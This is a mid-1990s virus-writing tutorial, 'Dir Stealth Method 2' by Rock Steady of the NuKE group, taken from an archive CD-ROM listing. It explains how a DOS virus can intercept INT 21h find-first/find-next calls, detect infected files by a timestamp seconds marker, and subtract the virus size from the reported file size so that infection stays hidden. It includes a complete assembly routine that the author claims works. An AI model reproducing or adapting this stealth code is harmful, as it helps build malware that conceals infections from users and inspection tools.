home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / virus / virusprogramming / rstut008.txt < prev    next >
Encoding:
Text File  |  1996-04-16  |  7.0 KB  |  98 lines

  1.                        
  2.                   *******************************     
  3.                   **   Dir Stealth Method 2    **                            
  4.                   **                           **                            
  5.                   **    By Rock Steady/NuKE    **
  6.                   *******************************
  7.  
  8.  Some May notice that when they use PCTOOLs (aka PCSHELL) or Peter Norton  
  9.  Utilities, or *SOME* File Managing systems like DOS-Shell, the File       
  10.  increase of infected files is know visable. There is no doubt about       
  11.  it, if you only put Method #1 in your virus you will encounter times      
  12.  were the file increase shows. Its not because your Routine isn't good!    
  13.  But due to the fact that there is another way to Read the Dir Listing     
  14.  by DOS. An this method is Call File-find by ASCIIZ format.                
  15.                                                                            
  16.  We just learned how to edit File-Find by FCB. Which is used by MS-DOS     
  17.  PC-DOS and some other programs. But unlike the others, they use the       
  18.  ASCIIZ file-Find method as it is EASIER to open, close, edite, and any    
  19.  other file access routine is ALOT easier with the ASCIIZ or (File Handle) 
  20.  system. So we will make our Virus Stealth to Method #2! Making us 100%    
  21.  Stealth from file-finds...                                                
  22.                                                                            
  23.  The Function we have to Intecept is Interrupt 21h, with Functions         
  24.  AH=4Eh (Find First Matching File) and AH=4F (Find Next Matching File)     
  25.  The Way to go about it is Very much ALIKE to the first one, so just       
  26.  understand the thoery, and you'll be able to program it within            
  27.  seconds.                                                                  
  28.                                                                            
  29.  When this function is called, it will fill the current DTA with 12        
  30.  entries totally 43 bytes. The DTA will be set up as follows: (below)      
  31.  BTW: DTA is only a place DOS uses to do Disk Transfer Areas! It ISN'T     
  32.       like the FCB, or PSP that is anyways the same! You can play with     
  33.       this as you wish. You also use this DTA to read the Command Line     
  34.       Parameters...etc...                                                  
  35.                                                                            
  36.   Offset Size            Description                                       
  37.    ─────┼────┼──────────────────────────────────────────                   
  38.     00h │ 1  │ Drive Letter                                                
  39.     01h │ 11 │ Seach Template (Eg:????????COM)                             
  40.     0Ch │ 1  │ Attribute Search                                            
  41.     0Dh │ 2  │ Entry count within Directory                                
  42.     0Fh │ 2  │ Cluster Number of start of parent directory                 
  43.     11h │ 4  │ Reserved (Atleast Undocumented)                             
  44.     15h │ 1  │ Attribute of File FOUND                                     
  45.   @ 16h │ 2  │ File's Time  (Bits : SSSS-SMMM-MMMH-HHHH) Sec/2:Month:Year  
  46.     18h │ 2  │ File's Date  (Bits : DDDD-DMMM-MYYY-YYYY) Day:Month:Year    
  47.   * 1Ah │ 4  │ File's Size (Word Reverse Order, Dah!!?!)                   
  48.     1Eh │ 13 │ ASCIIZ File name & Extension                                
  49.   * = Must be Edited by Virus is File Infected                             
  50.   @ = Needed to Check if File is Infected. (Seconds Field)                 
  51.                                                                            
  52.   %Algorthm%                                                               
  53.   ~~~~~~~~~~                                                               
  54.      CONDISTION: DS:DX points to ASCIIZ of file search.                    
  55.                  CX: Contains File Attributes                              
  56.                                                                            
  57.          Step 1. Call Dos so it fills the DTA with its findings            
  58.          Step 2. Test for CF=1 (Carry Flag) as error happened              
  59.                  errors happen if File not found, no more files etc...     
  60.          Step 3. Get Seconds Field And UnMask Seconds                      
  61.          Step 4. Check if seconds = 58 (What ever your using) Quit if NOT  
  62.                  Notice we use `XOR  AL,1Dh' rather than `CMP   AL,1Dh'    
  63.                  Check in your ASM Bible, which is Faster? Size?           
  64.                  Remember speed & size is EVERYTHING, That is why          
  65.                  My lastest are quite small viriis for stealthness!!       
  66.          Step 5. If Infected Subtract Virus Size from File                 
  67.          Step 6. Quit                                                      
  68.                                                                            
  69.  ;This is the routine. once you get AH=4Eh/4Fh in you Int 21h Call this    
  70.  ;Routine...  (Look at Method #1 for Int21h handler)                       
  71.  Dir_Stealth2                                                              
  72.          pushf                        ;Fake an Int Call                    
  73.          push    cs                   ;Save our location                   
  74.          call    int21Call            ;Step #1                             
  75.          jc      no_good              ;Error Split                         
  76.          push    ax                                                        
  77.          push    bx                                                        
  78.          push    es                                                        
  79.          mov     ah,51h               ;Get Current DTA                     
  80.          int     21h                  ;ES:BX --> DTA                       
  81.                                                                            
  82.          mov     ax,es:[bx+16h]       ;Get File Time                       
  83.          and     ax,1fh               ;Un Mask Seconds field               
  84.          xor     al,1dh               ;Is it 58 Seconds?                   
  85.          jnz     not_infected         ;Not infected! Dah?                  
  86.          sub     es:[bx+1Ah],Virus_Size ;Minus Virus Size!                 
  87.          sbb     es:[bx+1Ch],0          ;Fix up the Sub, Carrying!         
  88.  not_infected:                                                             
  89.          pop     es                                                        
  90.          pop     bx                   ;Restore Registers                   
  91.          pop     ax                                                        
  92.  no_Good:iret                                                              
  93.  ; This code WORKS and is also 100% (c) Rock Steady / NuKE                 
  94.  ;--------------------------EnD-------------------------------             
  95.                                                                            
  96.                             Rock Steady                                    
  97.          `WaTch OuT WaReZ PuPpiEs NuKE PoX V2.0 WiLl GeTcHa'               
  98.